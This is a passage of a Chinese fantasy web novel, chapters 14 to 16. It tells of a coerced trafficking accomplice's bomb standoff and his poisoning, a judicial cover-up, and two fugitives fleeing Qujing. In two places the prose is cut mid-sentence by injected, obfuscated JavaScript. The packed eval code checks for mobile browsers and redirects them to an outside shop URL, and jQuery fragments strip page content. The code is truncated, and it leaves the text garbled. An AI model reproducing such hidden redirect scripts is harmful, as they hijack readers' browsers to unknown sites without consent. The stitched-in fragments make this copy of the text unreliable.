跟着衙役的队伍,很快就走到城西,一座破败的小院前。那是余家,两兄妹相依为命的地方。但现在被府衙围起一圈,挡住外面凑热闹的人群,合乐不忍见这场面,所在许澜的身旁,借助她的身体抵挡大部分目光。 袁所正走在最前面进入,示意衙役放开余合安:“去吧,去拿你说的证据。” 余合安连忙跑进院里,经过袁所正身边时,耳边突然传来阴冷的低语: “别忘了你该做什么。” 余合安脚下一绊,差点摔倒,惊恐的目光扫过袁所正后,他踉踉跄跄地朝屋内跑去。 院外,莫筱初四面环视,人群中没有可疑人物,屋顶上也没人鹤立鸡群。他左手扣住鞘口,随时可以抵挡暗器。 不料片刻后,人群前传出一阵骚动,一个削瘦身影突然从里撞开衙役人墙,闯入人群之中。莫筱初一惊,迅速护着邱田恬后退,到稍远距离。 紧跟着,合乐也拨开人群闯出来,哭喊道:“哥!你干什么,快放下!?” 两人顺着目光看去,相比那瘦高男人就是合乐的哥哥。余合安此时肩上扛着被绑成条状的炸药包,右手高举着一个火折子,顶端已经燃起火光。 他满身大汗,声音嘶哑:“都别过来!否则我炸了这里!!!” 14. 兄妹 街坊邻里都知道,余家两兄妹不容易。他们的父亲是参加新政革命的老兵,从战场上退下来,断了一条胳膊一条腿,暗伤不知道有多少,不过五六年,就撒手人寰。他们的母亲是纺织工人,本来靠着抚恤金也能养大两个孩子,却被娘家吃了绝户,抚恤金被抢走七七八八。可怜的母亲只能白天在纺织厂做工,夜里在酒楼洗碗,一天晚上回家时晕倒在路边,就再没醒来。 那年,余合安12岁,余合乐5岁。 邻居看兄妹俩可怜,就给余合安一点杂活做,帮忙搬个货物,扫个院子,一天能挣五文钱,够买四个窝窝头,一碗小咸菜,两人就这样依偎着活下去。 一年后,全国开设义务学堂,无论老少都可以去学习,但名额有限,先到先得。余合安整夜排队,抢了两个名额,自己听了两节课却如听天书,又耽误做活赚钱,于是他把自己的名额卖了五十文,晚上余家久违地吃了肉。 那几年渠京变化很大,旧楼拆了盖新,土路铺上砖石,城中心的人流络绎不绝,形形色色的外来商人进城贸易,郊外的工厂也开了不少。余合安长大了,能接的活也越来越多,工钱也由一天五文变成能有几十文,日子也越来越好。 直到那年,余合乐被挑选魔法师的队伍选中,这是余家大喜的日子。合乐走的时候,余合安给了她皱巴巴的五百文,让她在天都好好学习,不用担心家里。 合乐离开没几天,阿生找来了。阿生说最近有个肥活儿,一单能挣一个月的钱。余合安觉得这种高薪有蹊跷,没敢接。 一个月后,余合安收到合乐从天都寄来的信,他高兴坏了,却又开始懊恼自己当年为何没上学堂,连字都不认识,只能找阿生帮忙念信。 阿生看看信,突然皱起眉:“你妹妹在天都受欺负了啊。” 余合安的笑容顿时僵在脸上:“怎么会呢?” “怎么不会?”阿生似是非常无奈地道:“那能在天都学习的,都非富即贵,就她一个穷小孩,不欺负她欺负谁?我之前可打听过,别人家去天都学习的,家里都一个月两三千支持。” “那怎么办!?”余合安着急地跳脚,欲哭无泪,“我,我没钱啊……” 这下,阿生此前的提议,变成了救命稻草。比起自己的安危,余合安更关心妹妹,只要能赚钱,危险一点又如何。 阿生说的肥活儿倒也简单,就是帮人搬货,货物在箱子里装好,不算重,但需要通过地道运往城外。余合安知道必有蹊跷,但他没有办法,只能硬着头皮做。 搬一趟给一两银锭子,一两银锭子是一千文,两趟活就能给妹妹寄一个月生活费。他也奇怪,为什么不直接给纸币,但阿生说这是道上的规矩,可以帮他换成纸币。 所以每个月,余合安就让阿生帮他寄钱,让阿生帮他写信,他在旁边说,阿生帮他写下来,再和钱一起寄去天都。 只有阿生知道,每次包好信封,他就把信封扔给其他小弟,让他们自己把钱分了。 小弟觉得这实属不厚道,这钱好歹是人家妹妹上学钱,俗话说的好,学钱和救命钱不能动。 阿生却嗤笑道:“那小妞才不缺钱呢,第一封信就说了,天都吃住都免费,还给她发助学金……就她这傻子哥不识字还好骗,不然咱们上哪找手脚快又嘴严的人。” 这活,一干就是三年。变故在一个冬天,余合安搬货时踩到冰,摔了一跤,搬运的箱子随之摔地,木头裂开,露出里面的“货物”——是人。 余合安半条命都吓丢了,若当年知道是人,他打死也不接阿生的活!他去找阿生要退伙,却被阿生掐着脖子抵在墙上低语: “你已经干了这么久了,钱是没给够你吗?更何况你看那人,又不是死人,又没让你杀人,我们也只是送他们去其他地方‘工作’,没了这活儿,你个文盲去哪赚钱供你妹妹读书?” 阿生每句话都扎在余合安心中最脆弱的地方,让他只能继续忍气吞声地做这脏活。看着家里的银锭子越来越多,余合安也越来越心虚,他把那些银子藏在杂物间,依旧过着贫苦的生活。 到今年,六月,余合安又收到合乐的信,找街坊家的小孩帮忙读出来后,得知合乐完成学业,不日就要返回渠京。余合安如释重负,他马上去找阿生,他不做这事了! 但阿生却直接把他打晕,再醒来时,余合安发现自己在木箱里,像是那些货物一样!他顿时慌了,挣扎大叫着,好在,阿生很快打开箱子,把余合安放了出来。 阿生说,上头本打算把余合安也卖走,但阿生看在两人发小的份上,求了情,给余合安一次“悔过”的机会。 余合安当然不肯,但阿生神色严肃,说这活儿上头是大人物,天都的大人物,若是惹到他,不仅余合安有危险,合乐也会遭殃。 这话大部分都是威胁,对于国家重点培养的魔法师,上头的人再大,也不能轻易动手。 只可惜,余合安不知道这些。他的人生都在渠京这一亩三分地里,见过最大的官是府衙所正,那官老爷在他看来已经像是土皇帝般权力滔天,再大的官,那莫非真是旧皇复辟!? 就这样,余合安被关在驿站,阿生说他想不清楚就不要出去。时而还带来消息,说合乐已经回到渠京,正在满城找他。 直到六月二十三日早上,急转直下。 阿生进门时就暴怒,扯住余合安的衣领,把他拎了起来:“你可真是养了个好妹妹!居然真查到地道了!上头怒了,要杀她了!” 这话当然在唬余合安,但他一如既往地好骗,顿时大惊失色:“阿生,阿生我错了!我不退伙!合乐她是无辜的啊……你帮我求求大人好不好……” 阿生若有所思的样子:“现在难啊,怕过不了多久这事就会被报到官府,查下去,我们都得遭殃。上面大人看我们办事不利,再一怒,怕我们都得被满门抄斩!” 余合安吓得腿软,阿生手上松开,他就直接跪在了地上。但阿生话锋一转,又道:“但你现在,可以戴罪立功啊。” “罪”是什么?余合安已经无法思考,他只听见“功”,连忙问道:“要我做什么?我做什么都可以!求你们放过我妹妹!!!” “你去自首。” 阿生翻出一个布包,塞给余合安:“把炸药埋在你家里,然后去自首,说这些事都是你策划的,你串通旌云楼老板,使用他后院的地道贩卖人口,官府定然让你拿出证据。” “然后你就可以借口去家中拿证据,自爆而亡……或者你有办法逃,也可以。” “这样线索断了,官府去查旌云楼,就差不到我们,你的妹妹自然无恙。上面大人看你有功,说不定还会赏你妹妹一份好差事做。” 他伏在余合安耳边,身上难闻的烟酒味刺鼻: “只有你能救她了。” …… 所以现在,变成了这样。 余合安一手扛着炸药包,一手挥舞火折子,逼退周围的人物:“都别过来!否则我炸了这里!” 对,就这样,求你们都离远点吧,我不想再害死谁了。 他的脸上绽开绝望又疯狂地笑:“你们这群狗官!都是我做的……都是我做的又如何!那些人天生就是做货物的命,我不过是让他们去了该去的地方!” 不是这样的,我明明很痛苦,我每天晚上都会被那些人装在箱子里的画面吓醒,耳边总是萦绕着驿站地牢里的惨叫。 “给我马车!送我安全地出城!不然我和你们同归于尽!!!” 求你们了,答应我吧,我不想死,我其实不想死的……更不想害你们死。 周围人群惊恐,鸟兽状四散逃开,瞬间清出中间一片空地,留余合安继续这场并不精彩的独角戏。 “哥,你干什么,你把东西放下!”合乐冲上前,想要靠近,又被余合安手里的火逼退,她焦急道:“刚刚我们不是已经说好了吗?好好交代,好好改造,无论多久我都会等你!” 合乐的声音似乎让余合安又找回一些理智,但早已浑浊的双眼在看清合乐的面容时,他耳边又浮现那句话——“上面怒了,要杀她!”“只有你能救她了。” 不行,不行,不行不行不行不行—— “滚开!!!”他从未对妹妹说过这样的话:“你懂什么!你这几年在天都无忧无虑,你知道我经历了什么吗!?” 看着合乐猛然顿住的身形,余合安久违有了些许欣喜。对,就该这样,合乐是草窝里飞出的凤凰,她是天之骄子,她该无忧无虑,她不需要知道这些。 更不需要为了自己这个烂人而伤心。 余合安举着火,一步步逼近:“给我准备马车啊!你们都聋了吗!?” 转头,以袁所正为首的衙役们,岿然不动,面无表情。 袁所正下令身后人上前:“犯人已经认罪,情绪不稳定,要在城内引爆炸药,十分危险……格杀勿论。” 闻言,衙役迅速掏出腰间的火铳,几个黑洞洞的枪口纷纷对准早已癫狂地余合安,合乐见状,反应极快,直接转身双臂张开,挡在哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156311|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥的面前,但衙役手中的扳机已顷刻扣下。 那一瞬间,余合安瞳孔骤缩,他怎么都没料到,自己说过那番话后,合乐居然还如此果决地挡在他的身前。眼看枪口已出火光,余合安大脑一片空白,身体在意识反应过来之前就已经行动,手中的火折子和炸药包不知被他扔向何处。他猛地扑向合乐,把她抱入怀中,压倒在地,用自己的身躯死死护住她。 但,子弹却未射中。 “叮铃铃”几声响,火铳刚射出的铁丸悉数落地,而落点,赫然在几个衙役举枪的地方。 衙役们纷纷一愣,不知为何火铳突然失灵,但很快,他们身后吹来一股狂风,如墙的队伍瞬间被吹散开来。 许澜持着空痕笔,笔尖白色的咒文如丝带般流转,那几个衙役双手居然不受控制,自己把火铳插回腰间。 但她下一步动作却并未对准余合安,而是看向袁所正:“袁所正,我私以为这件事情尚有许多不明朗的地方,如此草率地射杀犯人,怕是不妥吧?” 袁所正看着许澜笔尖的咒文,色厉内荏道:“司法署办案,许大人这是越界了。” “那你就等事后,上研究院状告我好了。” 看许澜下决心要管这事,袁所正满脸难色,眉头紧锁,咬着牙不知该说什么。但许澜不管他,直接走向相拥着的兄妹二人。 “余合安,抬头。”她语气温和,却带着不容置疑的命令,“看到这个牌子了吗?我是国家甲级魔法师,许澜。你知道甲级魔法师是什么概念吗?在天都,就算是护国公见我,都要敬我三分。” 闻言,余合安猛地抬头,那双已经被泪水和绝望蓄满的眼睛死死盯着眼前的甲级木牌,似乎在确认真伪。 许澜继续道:“我知你有冤屈,你也不必隐瞒,把事情的始末告诉我,我自然会还你清白。” 见余合安还踌躇不定,许澜又加一把火:“难道你想就这样毫无意义地死去,让合乐背上人贩子的妹妹这一称呼吗?” “不,不要!”果然,一听合乐,余合安瞬间激动起来:“大人,大人我求你……我妹妹是无辜的,都和她没关系……” 他说着,眼泪再也无法抑制,绝望后又突然产生的一点希望,像是在地震中被埋在废墟下的人,突然看见头顶透来的一束光。而这束光就这样轻而易举地照亮余合安身边被黑暗充盈的井底,给这只井底之蛙最后一次看向晴空的机会。 “对不起,对不起,对不起……” 余合安放开抱着合乐的手,跪在地上,朝着众人磕头:“对不起,我不该做那些事,对不起乐乐,我刚刚不该吼你……我真的没办法了……” 他过于悲伤又过于慌乱,言语里几乎没有逻辑,也没什么有用的信息。许澜不嫌弃地递给他手帕让他擦眼泪,安抚他情绪稳定,才可以更好说出真相。 远处,邱田恬和莫筱初也被刚刚的情况吓了一跳,余合安突然扔掉手里的东西,燃烧的火折子和炸药包居然是朝一起扔的!幸好两人眼疾手快,一人接住炸药包,一人接住火折子,这才避免惨案发生。 此时太阳西斜,已入黄昏,今日的晚霞格外美丽,似是有火烧云的奇观。 看那边余合安情绪已经稳定下来,两人也松口气。邱田恬看向许澜手中的笔,这空痕笔确实好用,她得想办法也弄一支。 莫筱初则是看向衙役的队伍,他有种轻微的违和感。一、二、三……现在袁所正身后的衙役是六人,但他刚刚怎么记得,衙役总共有七个? 正前方,余合安仍在跪地痛哭,抽噎声愈发明显,带着如拉风箱般的喘气声,仿佛下一秒就会窒息而死…… “不对!”莫筱初突然大感不妙,他拨开人群走到最前方,定睛看向余合安的脸。 余合安肤色惨白,双颊却通红,身上的汗水已经在前后衣衫上浸出一大片深色水渍,眼中流出的泪水突然一滞,随后深黑色的污血从他口中喷射而出! “哥!” 在场众人皆是大惊,合乐见余合安面色奇怪,马上伸手把他扶住,但触碰到的却是一片冰凉的肌肤! “哥,你怎么了?你怎么了!你别吓我,哥,你说句话啊!!!” 合乐凄厉的声音回荡在寂静的夏日黄昏中,但怀中的身体早已一动不动。许澜笔下已有咒文探出,但治愈魔法得到的反馈却是对象早已没有生命体征。 她赶紧上前,两指合拢,摸向余合安的脉搏,一片死寂。 而余合安的后颈处,扎着一支早已发黑的银针。 15. 徇私枉法?明察秋毫! 莫筱初眼尖,隔着十米开外,他就看清了那银针。那银针莫筱初眼熟,正是杀了阿生的针,一模一样,不过涂了毒,恐怕已刺入余合安后颈多时。 那杀手知道许澜在场,若现场飞针刺杀定会被拦下,所以不知何时已经刺下毒针,毒发后就算许澜在场,也无力回天! 衙役果真少了一个!莫筱初断定内心所想,当即四处环顾。杀手要确定余合安必死,断不会走远,之前藏在衙役队伍里下针,现在定然混在人群里。 此时,周围人见刚刚举着炸药的犯人突然倒地而亡,一半惊慌失色地后退,一半如释重负地舒气,人群松散不少。而莫筱初只往后看,一眼就锁定了可疑之人。 那人身形和之前的黑衣杀手完全不符,身躯佝偻,脸上沟壑横生,络腮胡快长到脖子上,身上的衣服也破破烂烂,像个落魄的老乞丐。 但,他的鞋却和那些衙役的鞋一模一样,都是麻色高筒皂靴,连装饰缝线的颜色都别无二致! 那老乞丐见人群骚动,听到合乐哭喊,自知目的已成,转身便要离去。 “站住!” 莫筱初再也顾不得其他,厉喝出声,挤不出人群,他就干脆脚尖点地,骤然从人群中如踏空般跃出,朝着那老乞丐追去!老乞丐也果然有鬼,见莫筱初从人群中窜出,恶狠狠地啐声,拔腿健步而飞,哪里是那佝偻身形该有的速度。 邱田恬也被莫筱初这突如其来的动作吓了一跳,她很快也看到那非比寻常的乞丐,刹时明白莫筱初的行动,只是此时现场众人目光炯炯,还有一队衙役,他这不是自投罗网吗!? 果然,众人的视线皆被莫筱初这一声厉喝吸引,纷纷投去,没人看那落荒而逃的乞丐,都在看那身形修长身手非凡黑衣少年。莫筱初的斗笠或许真是不合身,居然又因为他大幅度的动作飞旋落地,邱田恬赶紧伸手去接。 但莫筱初那张姣好的面孔已然暴露无遗。袁所正反应最快,大手一挥,身后的衙役迅速跟上:“是要犯莫筱初!迅速缉拿!” 衙役们又纷纷抽出火铳,人群鸟兽状四散,中间刚好留出一条通道,正对着莫筱初往外追去的背影。莫筱初自然也发现身后寒意,但眼前老乞丐的身影已经快消失在巷尾,他不能回头! 几把火铳像是箭在弦上,蓄势待发,而情况如此,许澜肯定无法公然庇护莫筱初,待子弹射出,莫筱初轻则被阻碍脚步,重则可能会被命中要害!纵使知道他身手超凡,邱田恬也知此时不能再坐以待毙—— 刚刚离开旌云楼时,她随手揣了一支笔和几张巴掌大的硬黄纸,此时果然派上用场。不过几秒,她已经在纸上写下公式,冲出人群,双腿岔开,在通道中央站定,左手拿纸平举,学着许澜的语气沉声道:“火!” 她觉得手举着求根公式大喊“火”的这一行为简直羞耻爆了,但奈何它真的有用!邱田恬手中纸张震动,魔光乍现,冲天烈焰如火蛇般窜出,直捣黄龙!霎时间,尖叫四起,几个衙役首当其冲,瞬间被火蛇吞没。 邱田恬不知如何控制威力,看火烧到人身上也是大惊失色,把写着公式的纸往地上一扔,朝着莫筱初的方向撒腿就跑。之前她简单翻阅许澜的册子,还记住了一些简单咒文,比如有个增幅自身的轻身咒文,是求和公式,她记得清楚,迅速写下后往自己的兜里一揣,脚下果然如有轻风托起,跑路的速度快了不少。 身后,许澜也出手了,不过她只是施法护住几个被火燎到的衙役,并未对准逃窜的二人。袁所正见状暴怒:“那是全知阁下令缉拿的要犯,许大人居然放任他逃走!?” 许澜还是那句话:“袁所正若是有意见,去研究院状告我好了。” 几句话的时间,邱田恬和莫筱初早跑没了影,袁所正只能赶紧下令封城,全城搜捕。 被这一闹,所有人都忽略了,地上,合乐抱着至亲冰冷的声音,一言不发地跪在原处。 为什么,为什么会变成这样?本该是久别重逢,为何变成了生死别离? 合乐不知道余合安这些年经历了什么,只能从只言片语中拼凑出大概。事到如今,她只知道一件事,哥哥是被害的,被一个脉络庞大的组织所害,一个权势滔天的人所害,轻而易举地丢了性命。 自己明明已经是受人尊敬的魔法师了,为什么还是连一个普通人都护不住,甚至连清白都无法给他!? 袁所正忙活半天,一串命令下达,手下人都四散奔走,开始搜寻莫筱初的踪迹。回头,才看见仍在原地的合乐与许澜。看在魔法师身份的面子上,袁所正客套道:“余姑娘节哀,我给姑娘一笔丧葬费,好生安葬吧。” “节哀?只有节哀吗?”合乐缓缓抬头,栗色的发丝被泪水粘在脸上,凌乱之至。而她的眼中黑洞洞一片,瞳孔似是没有聚焦。 她缓缓开口,咬牙切齿道:“凶手呢?找凶手啊!你不是所正吗,你去把杀人凶手找出来啊!!!” 袁所正严厉正色道:“余合安已认罪,又暴毙而亡,此案——已结。” 合乐瞳孔骤缩,她想冲过去打这狗官,却又放不下怀里的尸体,只能抻着脖子朝他怒吼:“你哪只眼睛看见的暴毙,又是哪只耳朵听到的认罪!?你不是严明公正袁所正吗,你继续查啊!狗官!!!” 她喊着,周身气流涌动,竟是出现扭曲,那是魔素失控的前兆。许澜扶住她的肩膀,把她连同那尸体一起靠入怀中:“先冷静,我们还在呢。袁所正,你这是何意?案子明明还有诸多蹊跷。” “我们”,指的是她自己,还有一旁的云叔。云叔一直没走,此时面色也阴沉至极,目光如鹰隼般盯向袁所正,盯得他后背发毛。 袁所正宽袖一挥,背手而立,事到如今人证已死,该毁的物证也早被炸成飞灰,案件如何,还不是他一言可定:“许大人,袁某失礼,但此案案情明了,余合安为谋财行绑架贩卖人口之事,事情败露后试图嫁祸旌云楼却失败,所以用炸药威胁司法署放其离开,情绪过于激动导致暴毙……” “证据确凿,事实明了,自然要结案。就算是许大人,也无法干涉已经结了的案子!” 许澜面色平静,没有出声,她身后的云叔却上前一步,语气不怒自威:“好一个证据确凿,好一个事实明了,澜儿,帮我拿纸笔来。” “我倒要问问莫长生,这案子他觉得该不该结!” …… 六月二十四日,天都,司法署总部,衡司所大楼。 述职每三年进行一次,由春初开始,从南到北,预计一季时间。到六月接近尾声,今天东北地区的分司使述职完毕,大家也可以歇息一阵。 司法署总署长何问,此时已经坐在主席之上。何问今年五十有余,发冠梳得一丝不苟,身上的衣服也干净利落,没有那些碍事的长袍。此时,他手里拿着东北地区四位分司使递上来的文件,粗略翻看几眼。虽然中央很看重这例行述职,但这么多多年下来,分司使人员稳固,这述职也不过走走形式罢了。 此时已近巳时,述职即将开始,大殿里却来了一个“不速之客”。 来人身着绛紫色锦袍,领口和袖口皆以金线细细滚边,腰间挂着一枚通透的冰翠玉佩。他骨相极佳,双唇微微上翘,眼底却不见笑意,黑发松散地束在身后,却也不显得凌乱。除此之外,他身后跟着一黑一白两个随从,黑衣女子腰别长剑,身材挺拔;白衣男子长发束冠,手抱文书。 何问见到这人,放松的神色顿时变了:“你来做什么?”刚说完这句,他又觉得不妥,赶紧起身上前迎接。 来人不提何问的失礼,只是微微笑道:“听闻这是司法署最后一场述职了,在下特来观摩学习一下,何署长莫不是觉得不妥?” 他不等何问回话,就已经泰然自若地坐在旁边,腰间玉佩晃动,灯光掠过上面雕刻的“莫”字。身后两个随从也顺势在他身后站定。何问眉头抽动,仍是不悦,但语气恭敬起来:“莫公子若要观摩学习,怎么也不提前打声招呼?” “因为我今天早上才突然想到的。”来人轻轻一笑,笑颜如花,随后又叹气伤春悲秋道:“何大人也知,家父身子是一日不如一日,胞弟又是个不争气的,我若不刻苦一点,怕是顷刻会时代浪潮被吞没啊。” 他这话说的惨,但何问知道这是在挖苦他,说他司法署过于松弛,管教不严。无事不登三宝殿,莫家长子莫霄歌来此,肯定不是观摩学习这么简单。 然而即使何问知道这些,他也没有由头驱赶人家,现在莫霄歌如日中天,眼见就是下一任护国公,没人敢随意触怒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156312|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >很快,述职开始。 莫霄歌来得突然,述职的各个分司使自然无人收到提前通知,见到莫霄歌坐于上座皆是神色各异,汇报的语句都发颤不少。只有渠京分司使荆陆心神稍定,不卑不亢地出色完成述职。 渠京分司使荆陆的述职确实精彩,要知道,东北区域在发现素原矿后,近十年飞速发展,而渠京就属于东北矿石向中原运转的枢纽,最开始几年,飞贼横盗拦路抢劫之事不计其数。荆陆从天都下调渠京,却是临危受命,以雷霆手段整顿治安,不过三年就成效显著,得了不少嘉奖。 两个时辰转瞬而逝,看这群分司使虽然磕磕绊绊,但好歹述职内容没什么大错,何问也是松了口气,瞥向旁边的莫霄歌。莫霄歌仍在椅上坐得笔直,身旁白衣人正在给他磨墨,莫霄歌手中拿着毛笔,时不时轻蘸墨水,不知在记些什么,十分认真的样子。 注意到何问的目光,他回眸点头示意,还是带着那股让人看着寒颤的笑意。何问不懂他意思,只得叫分司使们先行离开,自己再好好询问。 “且慢。”见分司使要离开,莫霄歌喊住一人:“荆大人,辛苦稍留一下,何大人也是。” 何问见状,干脆把话说清楚:“莫公子有何事,不如直说,也省的大家猜来猜去。” 莫霄歌听到这话倒是真心笑了:“哈哈,我就喜欢何大人这直爽的性子,大人既然这样说了,那我也不拐弯抹角了。” 他从衣服内袋中取出一个信封,按在桌上:“今早,家父收到渠京老友的一封急信,言渠京城内有大冤案,而所正袁介徇私枉法,草草结案,是为天道所不公,有损司法署威严。” 他抬眸看向荆陆,眸光利利:“荆大人,这袁介所为何人?在渠京如此只手遮天吗?” 听闻莫霄歌语气不对,荆陆赶紧拱手作揖:“这……卑职调任渠京不久,不知袁介履历如何,不过日常法务袁介向来秉公处理,这信中所言,是否有些偏差?” “哦?”莫霄歌轻哼,听不出语气,但荆陆身形一颤,赶紧补充道:“待卑职回渠京,定会第一时间明察。” “那就有劳荆大人了。”莫霄歌打开信封,把其中的信纸展开,仿佛他刚刚说的只是开头:“信中还说,渠京有群人牙子,近几年卖了上百人口,至今仍然逍遥法外。” 荆陆俯首更低:“是卑职疏忽,定会严查,尽早拔除毒瘤。” 莫霄歌合上信纸,信上还有些内容,但他不打算在此说出:“荆大人所言极是,毒瘤要尽快拔除,别让渠京的辉煌毁于一旦,希望荆大人恪守本心,不要让我……”他余光瞥向何问,“和何大人失望。” 说完这些,莫霄歌旋即起身,带着两个随从头也不回地离开。衡司所大楼门口,已有汽辇在等待,除此之外,还有个信童也在车旁,见莫霄歌走出,赶紧上前双手递上:“大人,全知阁有您的信件,加急来的。” “……好。”莫霄歌看这信童,没有多说,待他离开后才对白衣人说道:“永言,回头给全知阁说一声,信件不管有多急,都送到莫府,不要让信童直接来找我。” 白衣人微微颔首:“是。” 上了汽辇,莫霄歌才打开信件,信件内容倒是简单,在渠京发现了莫筱初的踪迹,但并未抓住他。同时,莫筱初身边多了一位同行女子,身着红衣,善用魔法,但档案库中却并无该红衣魔法师的资料,身份不明。 看到“善用魔法”和“身份不明”几个字,莫霄歌瞳孔微缩,拿着信的手指微微颤抖。他看向那位黑衣随从:“元风,派两个暗卫去渠京,找莫筱初,我要他身旁魔法师的信息,但不要惊扰他们。” 他略微一顿,又补充道:“现在就安排。” “是。”黑衣人应道,下一秒,身形直接在车中消失。 安排完事情,莫霄歌微微放松,手肘靠在车门上,手背托腮。窗外,天都的街道热闹繁忙,两侧高楼林立,天空恰有云舟飞过。看着此等好景,莫霄歌居然又叹气一声,坐正身体,道:“把弗克勒阿敏发来的贸易合作修改申请给我。” 白衣人永言迅速从怀中的一堆文件找出一个牛皮纸袋,莫霄歌接过,在摇摇晃晃的汽辇上仔细阅读。 烈日晴空之下,汽辇后方吐着白烟,在砖石路上悠然驶过。 16. 行路 邱田恬累极了。 昨晚又在山林里睡了一夜,睡醒以后她腰酸背痛,不过两秒就开始怀念旌云楼天字房软和的床垫——所以到底为什么,好不容易到个大城市,结果他们待了两天不到就又跑荒郊野岭了! 说到底,都怪莫筱初这个莽撞的家伙,非要在大街上大喊追人,没追到杀手,自己还暴露了,要不是旌云楼的地道,怕是两人要直接被困死在城中。 是的,整个渠京城都被昨天的闹剧整得鸡犬不宁,莫筱初追那杀手追了几个街道,一路飞沙走石,还是被那杀手混入主街道的人群中,不见踪影。而身后的衙役成群结队,紧盯着莫筱初不放。最后还是许澜暗中帮忙,不知道施了什么法术,护着两人回到旌云楼。 然而渠京城风声鹤唳,为了抓捕要犯,城门都封了,一筹莫展之际,莫筱初提议再走地道试试,现在知道几条岔路一条通向驿站,另一条通向余家,除此之外还有两三条岔路呢,说不定还有通向城外的。 只能说,死马当活马医。但莫筱初这家伙运气不一般的好,两人挑了一条道,居然真的出城了! 所以此时,山涧清晨,邱田恬刚刚在小溪边洗漱完,马上想到自己这两天甚至没洗澡,又开始痛定思痛,当时就不该管莫筱初,这样至少自己还能在渠京留几日! 稍远处,莫筱初刚扑灭昨晚升起的火堆,看见邱田恬从溪边走来,还是那样没心没肺地笑道:“哎呀,跟着我真是连累你了,不好意思啊邱姑娘。” “……”邱田恬已经懒得吐槽,现在的莫筱初和几天前两人初遇时判若两人,刚见面时莫筱初彬彬有礼、言语温和,现在怎么就变成了这幅不着调的样子? 她看看已经升起半晌的太阳,问道:“接下来我们去哪啊?” 莫筱初思考道:“我原本想回天都,但昨日我在渠京闹得那么大,路上的关隘估计戒备森严,现在怕是不太好走去往天都的路。” 他看看邱田恬腰间的小包,那里装着邱田恬买的地图册:“邱姑娘可有想去的地方?不远的话,我可以与你一起转转,就当游历美景,体验风土人情。” ……大哥,你还记得你在被通缉吗?邱田恬太阳穴突突跳,这人怎么一点紧迫感都没有,就她一个人在这担心吗? 说实话,渠京城的事情一闹,邱田恬差点都忘了莫筱初的身份,他的一举一动倒真想是个游走江湖行侠仗义的少侠,丝毫没有王侯贵族的架子。但想想在渠京城听到的一些风风雨雨,现在莫筱初不应该最关心“皇位”的事情吗! 收拾好东西,邱田恬拿出包里的地图册和莫筱初并排走着,既然莫筱初说了听她的,那她也不客气,一边翻找东北区域地图,一边说:“说实话,我想找个地方安心休息两天,许澜给我的魔法书我还没好好研究。” “休息?”莫筱初思考着,手指定在地图上某处:“这里,南云山,山脚处有一避暑胜地,很是僻静,以前我随家里人去过。” “避暑胜地?”邱田恬看看头顶烈日,此时正值夏至到入伏之间,天气只会越来越热,能在避暑胜地待上几日倒是舒服。 邱田恬顺着莫筱初手指方向,在地图上看去,却看见他所指的地方在地图偏西北处,倒也神奇,这山明明在北面,却被叫南云山。 莫筱初还在介绍着:“对,那地方叫闲鹤山庄,山腰处还有温泉,邱姑娘若想讨个清静,去那里最好了。从这里出发,大概行走七日,就能到那里。” “七日!?” 邱田恬眼前一黑,秋山镇到渠京骑马一日,她都觉得已经足够磨人,现在两人没马,莫筱初居然说要徒步七日去个避暑山庄!? 她真受够了这个交通不便的世界。 听邱田恬震惊的语气,莫筱初也意识到她或许觉得太远,退而求其次道:“看地图的刻画,沿着这条路走半日,应该有个叫万高村的村庄,这些小村一般不流通信息,通缉令也贴不过去,不如我们先在那里休息两日,再做之后打算。” “倒是也行。”邱田恬抻抻手臂,看着前方还算平坦地小路,想想今晚或许能睡到正儿八经的床,顿时有了不少干劲。 就这样,两人向前走出一段,根据地图指引,在岔路处朝着西南方的小路走去。早晨的太阳毒辣片刻,天公作美,居然起了云,半掩着烈日,走在路上倒是清凉不少。 两人也难得陷入一阵沉默,邱田恬心里压着事,一空下来,满脑子又是前天在茶馆听到的“莫家狠起来自家人都杀”,她想叫莫筱初的名字,问问他的真实所想,这三个字却又怎么都叫不出口。半晌,邱田恬才踌躇道:“小楚,你家里除了你哥,还有别人吗?” 莫筱初一愣,似乎没想到邱田恬突兀询问,但也诚实答到:“当然有啊,还有我父亲。” 邱田恬道:“那母亲呢?” 莫筱初惆怅道:“牺牲了。” 虽然邱田恬早有预料,但没想到莫筱初的用词会是“牺牲”二字。之后想说的话突然卡在喉咙里,上不去也下不来。 但莫筱初旁若无人,继续说道:“我母亲很厉害哦,她是医生。我五岁时,南方发了百年难遇的洪水,无数人流离失所,好不容易防住洪水,瘟疫又起来了。” “说实话,那时候我太小了,很多事情都不记得。只记得母亲很忙,似乎比父亲还忙,一年都见不到她几次,有时候见她,她身旁还有很多学生,我就知道她是很厉害的人。” 莫筱初说着,微微抬头,看向遥远的天际:“那年她好不容易休假,因为水患被叫走,结果就再没回来,听说是泥石流,直接埋了救灾的医帐,里面的医生和患者都死了。” 邱田恬听莫筱初平静地说着,脚步不自觉放慢一些:“你母亲是很伟大的人。” “那当然。”莫筱初很快答到,语气里都是自豪:“南方还给她塑了像盖了庙,有机会去南方的话,我带你去看!” 话已至此,看着邱田恬脸上也有些许笑意,莫筱初也顺势问道:“邱姑娘的父母呢?” 邱田恬脚下一顿,脸上的笑意瞬间无影无踪:“不是什么重要的人。” 